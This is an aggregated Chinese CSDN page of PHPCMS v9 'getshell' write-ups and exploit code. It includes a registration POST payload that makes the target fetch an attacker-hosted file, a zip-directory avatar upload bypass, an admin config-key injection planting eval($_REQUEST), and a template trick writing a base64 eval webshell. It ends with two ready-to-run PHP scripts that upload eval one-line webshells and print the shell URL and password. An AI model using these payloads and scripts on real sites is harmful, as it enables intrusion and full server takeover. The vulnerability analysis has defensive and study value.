phpcms shell v9 工具_phpcms v9.3.4 shell - CSDN
精华内容
参与话题
  • phpcms v9前台getshell

    2019-06-16 03:48:04
    PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,...

    PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件。


    看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是
    phpcms\modules\member\index.php 130行到140行

    //附表信息验证 通过模型获取会员信息

    if($member_setting['choosemodel']) {

        require_once CACHE_MODEL_PATH.'member_input.class.php';

        require_once CACHE_MODEL_PATH.'member_update.class.php';

        $member_input = new member_input($userinfo['modelid']);       

        $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

        //var_dump($_POST['info']);

        $user_model_info = $member_input->get($_POST['info']);

    }

    这里加载了两个文件.位于当前目录下的fields中的member_input.class.php。因为这里主要是调用了member_input.
    文件的开头就写清楚了

    function __construct($modelid) {

        $this->db = pc_base::load_model('sitemodel_field_model');

        $this->db_pre = $this->db->db_tablepre;

        $this->modelid = $modelid;

        $this->fields = getcache('model_field_'.$modelid,'model');

    做一点v9的常识

    pc_base::load_model(‘*_model’) 加载数据库模型

    pc_base::load_sys_class(‘classname’) 实例化系统类

    pc_base::load_app_class(‘classname’,’admin’) 实例化模块类

    pc_base::load_sys_func (‘funcfile’) 调用系统函数库

    以上是调用模型和实例化对象的四种方法

     

    pc_base::load_model(‘*_model’) 对应加载 根目录\phpcms\model 下面的类文件

    pc_base::load_sys_class(‘classname’) 对应加载 根目录\phpcms\libs\classes 下面的文件

    pc_base::load_app_class(‘classname’,’admin’) 对应加载 根目录\phpcms\modules\admin\classes 下面的文件

    pc_base::load_sys_func (‘funcfile’) 对应加载 根目录\phpcms\libs\functions\

    因此在member_input.class.php中调用了
    \phpcms\model\sitemodel_field_model.class.php
    继续查看,发现调用的是

    class sitemodel_field_model extends model {

        public $table_name = '';

        public function __construct() {

            $this->db_config = pc_base::load_config('database');

            $this->db_setting = 'default';

            $this->table_name = 'model_field';

            parent::__construct();

        }

    加载了数据库配置.然后读取了表model_field.那么这个流程就是需要从model_field中匹配某些东西。继续跟get函数

    function get($data) {

        $this->data = $data = trim_script($data);

        $model_cache = getcache('member_model', 'commons');

        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

     

        $info = array();

        $debar_filed = array('catid','title','style','thumb','status','islink','description');

        if(is_array($data)) {

            foreach($data as $field=>$value) {

                if($data['islink']==1 && !in_array($field,$debar_filed)) continue;

                $field = safe_replace($field);

                $name = $this->fields[$field]['name'];

                $minlength = $this->fields[$field]['minlength'];

                $maxlength = $this->fields[$field]['maxlength'];

                $pattern = $this->fields[$field]['pattern'];

                $errortips = $this->fields[$field]['errortips'];

                if(empty($errortips)) $errortips = "$name 不符合要求!";

                $length = empty($value) ? 0 : strlen($value);

                if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");

                if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');

                if($maxlength && $length > $maxlength && !$isimport) {

                    showmessage("$name 不得超过 $maxlength 个字符!");

                } else {

                    str_cut($value, $maxlength);

                }

                if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);

                if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");

                $func = $this->fields[$field]['formtype'];

                if(method_exists($this, $func)) $value = $this->$func($field, $value);

     

                $info[$field] = $value;

            }

        }

        return $info;

    }

    注意观察到

    $func = $this->fields[$field]['formtype'];

    if(method_exists($this, $func)) $value = $this->$func($field, $value);

    wKioL1jt2KuRT9uQAADughhBac8317.png

    查看formtype其实是edit.查看下edit函数
    phpcms\modules\member\fields\editor\input.inc.php

    function editor($field, $value) {

        $setting = string2array($this->fields[$field]['setting']);

        $enablesavep_w_picpath = $setting['enablesavep_w_picpath'];

        $site_setting = string2array($this->site_config['setting']);

        $watermark_enable = intval($site_setting['watermark_enable']);

        $value = $this->p_w_upload->download('content', $value,$watermark_enable);

        return $value;

    }

    发现这里调用了$this->p_w_upload->download

    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')

    {

        global $p_w_picpath_d;

        $this->att_db = pc_base::load_model('p_w_upload_model');

        $upload_url = pc_base::load_config('system','upload_url');

        $this->field = $field;

        $dir = date('Y/md/');

        $uploadpath = $upload_url.$dir;

        $uploaddir = $this->upload_root.$dir;

        $string = new_stripslashes($value);

        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

        $remotefileurls = array();

        foreach($matches[3] as $matche)

        {

            if(strpos($matche, '://') === false) continue;

            dir_create($uploaddir);

            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

        }

        unset($matches, $string);

        $remotefileurls = array_unique($remotefileurls);

        $oldpath = $newpath = array();

        foreach($remotefileurls as $k=>$file) {

            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;

            $filename = fileext($file);

            $file_name = basename($file);

            $filename = $this->getname($filename);

     

            $newfile = $uploaddir.$filename;

            $upload_func = $this->upload_func;

            if($upload_func($file, $newfile)) {

                $oldpath[] = $k;

                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;

                @chmod($newfile, 0777);

                $fileext = fileext($filename);

                if($watermark){

                    watermark($newfile, $newfile,$this->siteid);

                }

                $filepath = $dir.$filename;

                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);

                $aid = $this->add($downloadedfile);

                $this->downloadedfiles[$aid] = $filepath;

            }

        }

        return str_replace($oldpath, $newpath, $value);

    }

    传输到地址经过new_stripslashes处理

    function new_stripslashes($string) {

        if(!is_array($string)) return stripslashes($string);

        foreach($string as $key => $val) $string[$key] = new_stripslashes($val);

        return $string;

    }

    限制了后缀为$ext = 'gif|jpg|jpeg|bmp|png'。同时限定了传输到必须是网址

    ("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"

    这个是一个实现远程图片自动上传功能的函数,用户提交的content中若有图片地址则自动将远程的地址copy到本地!在清楚content中的图片路径时候采用preg_match_all 正则匹配(红色代码部分),虽然有扩展名的验证但是很容易就能绕过,我们只需要将shell地址修改为:http://mysite/shell.php?1.gif就可以绕过了,mysite是自己的网站地址,如果自己网站下解析php的话那么php内容应该是<?php echo '<?php eval($_POST[cmd]);?>';?> 否则下载后得到的文件内容是空白,copy访问远程文件也像IE一样,访问后取得解析后的内容。

    那么整个流程久清楚了..传输modelid起到了决定性的作用.只有在1,2,3,11的时候才会触发edit函数.同时可以赋值content.

    wKiom1jt2Lnj6ATJAAGcDcqlagc592.png

    POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1

    Host: 192.168.87.128

    Content-Length: 297

    Cache-Control: max-age=0

    Origin: http://192.168.87.128

    Upgrade-Insecure-Requests: 1

    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

    Content-Type: application/x-www-form-urlencoded

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,p_w_picpath/webp,*/*;q=0.8

    Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2

    Cookie: PHPSESSID=h5jo0216vveqr9blnh146tq5q5

    X-Forwarded-For: 127.0.0.1

    X-Remote-IP: 127.0.0.1

    X-Remote-Addr: 127.0.0.1

    X-Originating-IP: 127.0.0.1

    Connection: close

     

    siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=<img src=http://www.xingkonglangzi.com/test.txt?.php#.jpg>





    转载于:https://blog.51cto.com/149154431/1915244

    展开全文
  • 0x01:介绍PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可...

    0x01:介绍

    PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求。 5年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,为全球多达10万网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

    0x02:漏洞分析

    在中 v9phpcmsmodulesmemberindex.php381行处

    public function account_manage_avatar() {
      
    $memberinfo = $this->memberinfo;
      
    //初始化phpsso
      
    $phpsso_api_url = $this->_init_phpsso();
      
    $ps_auth_key = pc_base::load_config('system', 'phpsso_auth_key');
      
    $auth_data = $this->client->auth_data(array('uid'=>$this->memberinfo['phpssouid'], 'ps_auth_key'=>$ps_auth_key), '', $ps_auth_key);
      
    $upurl = base64_encode($phpsso_api_url.'/index.php?m=phpsso&c=index&a=uploadavatar&auth_data='.$auth_data);
      
    //获取头像数组
      
    $avatar = $this->client->ps_getavatar($this->memberinfo['phpssouid']);
      
      
      
    include template('member', 'account_manage_avatar');
      
    }

    这里是一个上传头像的功能模块,我们继续跟踪上传地址为

    v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar

    读取v9phpsso_serverphpcmsmodulesphpssoindex.php文件

    其中uploadavatar为我们处理上传头像函数

    具体函数如下

    public function uploadavatar() {

    //根据用户id创建文件夹
      
    if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
      
    $this->uid = $this->data['uid'];
      
    $this->avatardata = $this->data['avatardata'];
      
    } else {
      
    exit('0');
      
    }
      
      
      
    $dir1 = ceil($this->uid / 10000);
      
    $dir2 = ceil($this->uid % 10000 / 1000);
      
      
      
    //创建图片存储文件夹
      
    $avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
      
    $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
      
    if(!file_exists($dir)) {
      
    mkdir($dir, 0777, true);
      
    }
      
      
      
    //存储flashpost图片
      
    $filename = $dir.$this->uid.'.zip';
      
    file_put_contents($filename, $this->avatardata);
      
    echo $filename;exit();
      
    //解压缩文件
      
    pc_base::load_app_class('pclzip', 'phpsso', 0);
      
    $archive = new PclZip($filename);
      
    if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
      
    die("Error : ".$archive->errorInfo(true));
      
    }
      
      
      
    //判断文件安全,删除压缩包和非jpg图片
      
    $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
      
    if($handle = opendir($dir)) {
      
       while(false !== ($file = readdir($handle))) {
      
    if($file !== '.' && $file !== '..') {
      
    if(!in_array($file, $avatararr)) {
      
    @unlink($dir.$file);
      
    } else {
      
    $info = @getp_w_picpathsize($dir.$file);
      
    if(!$info || $info[2] !=2) {
      
    @unlink($dir.$file);
      
    }
      
    }
      
    }
      
       }
      
       closedir($handle);    
      
    }
      
    $this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
      
    exit('1');
      
    }
      
      
    其中关键代码
      
    pc_base::load_app_class('pclzip', 'phpsso', 0);
      
    $archive = new PclZip($filename);
      
    if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
      
    die("Error : ".$archive->errorInfo(true));
      
    }

    这里为解压缩文件

    接下来为判断是否为图片类型

    //判断文件安全,删除压缩包和非jpg图片
      
    $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
      
    if($handle = opendir($dir)) {
      
       while(false !== ($file = readdir($handle))) {
      
    if($file !== '.' && $file !== '..') {
      
    if(!in_array($file, $avatararr)) {
      
    @unlink($dir.$file);
      
    } else {
      
    $info = @getp_w_picpathsize($dir.$file);
      
    if(!$info || $info[2] !=2) {
      
    @unlink($dir.$file);
      
    } 
    } 
    }
       }
       closedir($handle);    
    }

    为180×180.jpg’, ’30×30.jpg’, ’45×45.jpg’, ’90×90.jpg ,如果不为这几种,则就删除,但是他考虑到的仅仅是当前目录下的,没做循环遍历,导致我们可以新建一个目录,然后里面放入我们的PHP***,然后压缩成zip,然后再上传,然后即可达到任意上传文件,直接前台无限制getshell

    0x03:漏洞利用

    新建一个如图文件

    新建一个22目录,目录里面放入我们的test.php文件,test.php里面放入我们的一句话,然后压缩成zip文件

    20140126180714.jpg

    然后上传一个正常头像,获取一个路径,如正常头像地址为http://127.0.0.1/v9/phpsso_server/uploadfile/avatar/1/1/3/90×90.jpg

    然后我们再次上传,通过burpsuit抓包,将其中post的内容用paste from file替换掉

    20140126180805.jpg

    然后发送

    最好获取shell路径为 在之前的正常路径下面加上我们的解压路径,如http://127.0.0.1/v9/phpsso_server/uploadfile/avatar/1/1/3/22/test.php

    20140126180849.jpg

    转载于:https://blog.51cto.com/sshack/1759803

    展开全文
  • PHPCMS v9.6 Getshell方法大全

    千次阅读 2017-11-15 10:07:36
    phpcms9.6.x后台getshell几种方法
    V9.6管理员权限getshell:
    漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
    public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }


    其中

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
    }

    这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中


    在ROOTDIR/phpcms/libs/classes/param.class.php中

    public function __construct() {
    if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
    }

    全局过滤POST 但这里之过滤value 没过滤key


    接下来看步骤


     

     

     

     PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞


    代码贴出来:*/eval($_REQUEST['a']);//

    name="data[uc_api','11');/*]"

    phpcmsv9.6低权限提权(其他版本自测)

    添加模板
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
    如图一样填完直接保存就OK

    然后
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    第二个模板,填完先别保存
    跳到扩展设置
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    在专题模板那里对着专题首页右键查看元素后 定位到value='index'
    然后替换成上一个模板的路径
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    ../../../../html/special/test/index

    注意这里test为你前面的模板名称

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入

    菜刀连接之
     
     
     
     https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
     
     
    展开全文
  • phpcms V9 getshell exp

    千次阅读 2012-09-29 09:46:45
    #!... error_reporting(E_ERROR); set_time_limit(0); $pass="xxx"; print_r(' +---------------------------------------------------------------------------+ PHPCms V9 GETSHELL 0DAY c0de by
    #!usr/bin/php -w
    <?php
    error_reporting(E_ERROR);
    set_time_limit(0);
    $pass="xxx";
    print_r('
    +---------------------------------------------------------------------------+
    PHPCms V9 GETSHELL 0DAY
    c0de by testr00ttest
    针对iis6.0的漏洞 有点鸡肋 但是也可以用
    apache 是老版本可能会产生问题
    +---------------------------------------------------------------------------+
    ');
    echo '密码为'.$pass;
    if ($argc < 2) {
    print_r('
    +---------------------------------------------------------------------------+
    Usage: php '.$argv[0].' url [js]
    js 类型配置  1为asp 2为php  3为apache 的版本
    Example:
    php '.$argv[0].' localhost 1
    +---------------------------------------------------------------------------+
    ');
    exit;
    }
    $url=$argv[1];
    $js=$argv[2];//写入脚本类型
    
    $phpshell='<?php @eval($_POST[\''.$pass.'\']);?>';
    $aspshell='<%eval request("'.$pass.'")%>';
    
    if($js==1){
            $file="1.asp;1.jpg";
             $ret=GetShell($url,$aspshell,$file);
    
    }else if($js==2){
            $file="1.php;1.jpg";
            $ret=GetShell($url,$phpshell,$file);
    }else if($js==3){
            $file="1.php.jpg";
            $ret=GetShell($url,$phpshell,$file);
    }else{
            print_r('没有选择脚本类型');
    }
    $pattern = "|http:\/\/[^,]+?\.jpg,?|U";
    preg_match_all($pattern, $ret, $matches);
    if($matches[0][0]){
            echo "\r\nurl地址:".$matches[0][0];
    }else{
            echo "\r\n没得到!";        
    }
    
    function GetShell($url,$shell,$js){
            $content =$shell;
            $data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";
            $data .= "Host: ".$url."\r\n";
            $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
            $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
            $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
            $data .= "Connection: close\r\n";
            $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
            $data .= $content."\r\n";
            //echo $data;
            $ock=fsockopen($url,80);
            if (!$ock) {
            echo "  No response from ".$url."\n";
            }
            fwrite($ock,$data);
            $resp = '';
            while (!feof($ock)) {
                    $resp.=fread($ock, 1024);
            }
            return $resp;
    }
    
    ?>
    WVE2.0版本。楼主不好意思,我自己改成wve版本了。
    <?php
    class phpcms_v9_upload{
    
      public function info(){
        $info=array(
                'info'=>array(
    
                       'author'=>'testr00ttest',
                       'title'=>'PHPCms V9 upload vulv exploit',
                       'info'=>'https://forum.90sec.org/thread-3845-1-1.html|[url]http://www.wooyun.org/bugs/wooyun-2010-012467'[/url]
    
                    ),
    
                'option'=>array(
    
                       'host'=>'localhost',
                       'port'=>'80',
                       'pass'=>'cmd',
               'path'=>'/',
               'file'=>'1.asp;1.jpg',
               'type'=>'asp'                                      
                    )
    
             ); 
    
       return  $info;
     }
    
      public function run(){
    
        $phpshell='gif89a<?php @eval($_POST[\''.G('pass').'\']);?>';
        $aspshell='gif89a<%eval request("'.G('pass').'")%>';
        $file=G('file');
        Switch (G('type')){
    
               case 'asp':
                 $shellcode=$aspshell;
                 break;
               case 'php':
             $shellcode=$phpshell;           
                 break;
            }
    
        $shellpath='http://'.G('host').'/uploadfile/'.$file;        
                $data = "POST ".G('path')."index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=".$shellpath." HTTP/1.1\r\n";
            $data .= "Host: ".G('host')."\r\n";
            $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
            $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
            $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
            $data .= "Connection: close\r\n";
            $data .= "Content-Length: ".strlen($shellcode)."\r\n\r\n";
            $data .= $shellcode."\r\n";
            $body=Http::sock(G('host'),$data);  
            if($url=$this->match($body)){
            msg('Exploit Success',1);
            msg('Shell: ',1);
            msg($url,1);
            msg('PASS: '.G('pass'),1);
            }
    
      }
    
      public function match($str){
        $pattern = "|http:\/\/[^,]+?\.jpg,?|U";
        preg_match_all($pattern,$str, $matches);
        if($matches[0][0]){
        return $matches[0][0];        
            }else{
            return false;
            }
      }
    
    }
    
    ?>

    声明: 本文由( 0day5 )原创编译,转载请保留链接: phpcms V9 getshell exp


    展开全文
  • phpcms v9本地验证getshell 本地验证成功: 如果通过phpcms查找不到具有这样的网站的话,还可以通过如下的特征字进行查找: list-2-4.html  扩展延伸成为:inurl:list-*-*.html 以下是通过本地搭建服务器进行...
  • PHPCMS v9 Getshell(Apache)

    千次阅读 2013-03-05 09:44:29
    公开时间: 2013-03-04...phpcms v9 getshell (apache) 详细说明: 漏洞文件:phpcms\modules\attachment\attachments.php  public function crop_upload() { if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
  • 此漏洞爆出来的时间是2017年4月份左右,时间比较长了,存在任意文件长传,漏洞利用比较简单,危害很大,可以直接前台getshell。 二丶影响版本 phpcms v9.6.0 三丶漏洞分析 漏洞利用点是注册的地方,我们来看一下...
  • phpcms V9后台拿shell时出错的解决办法

    千次阅读 2013-11-28 11:33:08
    "扩展"—"URL规则管理"—"添加规则" 2、“URL规则名称”一定要填category,“模块名称”一定要选“内容模块” ,“是否生成静态”一定要选是,“URL示例”随便填(但是要记住,接下来要用到),“URL规则”改个php的...
  • PHPCMS v9.6.0后台getshell

    2019-09-25 07:50:30
    思路来自于http://www.cnbraid.com/2016/09/18/phpcms/ 这里自己复现了一下,自己写了一下 因为是后台的,还得登陆两次。。所以不好用,主要是学习学习 漏洞来自于ROOTDIR/...
  • 首先准备一台公网服务器,在上面新建一个一句话的txt文件。如下: 接着打开目标网站,点击注册,填写信息后点击提交,拦截该数据包。 将其中post提交的数据替换成我们的poc,poc如下: ...info[c...
  • phpcms v9.6.0版本getshell测试

    千次阅读 2017-09-12 08:56:22
    需要 phpcms V9.6.0安装包/ phpstudy 安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下 然后浏览器访问:http://ip/phpcms 进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的...
  • phpcms_V9任意文件上传poc

    千次阅读 2017-06-30 16:21:35
    使用方法:先编译 javac -encoding UTF-8 Main.java 然后运行 java Main URL(http://www.xxxx.com) import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;...
  • 最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大家。 漏洞详情: 漏洞...
  • PHPcmsV9任意文件读取漏洞拿Shell

    千次阅读 2013-10-30 23:23:58
    http://www.webshell.cc/3918.html
  • phpcms v9 爆密码

    2012-07-25 20:47:02
    1.首先是http://www.wooyun.org/bugs/wooyun-2010-010072  有人报告phpcms v9 直接爆密码  开始我还比较迷惑,因为我记得我看过phpcms v9 的管理员密码体系是有salt的,光爆密码没啥用啊?    2....
  • 很多新手朋友都遇到过phpcms V9后台拿shell时出错,下面为大家介绍个不错的解决方法,希望对大家有所帮助
  • 原题内容: 一个靶机而已,别搞破坏。 多谢各位大侠手下留情,flag在根目录里txt文件里 ... ...其次百度很明显可以看到phpcms漏洞信息,版本9.6的,这是很明显的信息了,先试试,不行再走普通流...
1 2 3 4 5 ... 7
收藏数 131
精华内容 52
关键字:

phpcms shell v9 工具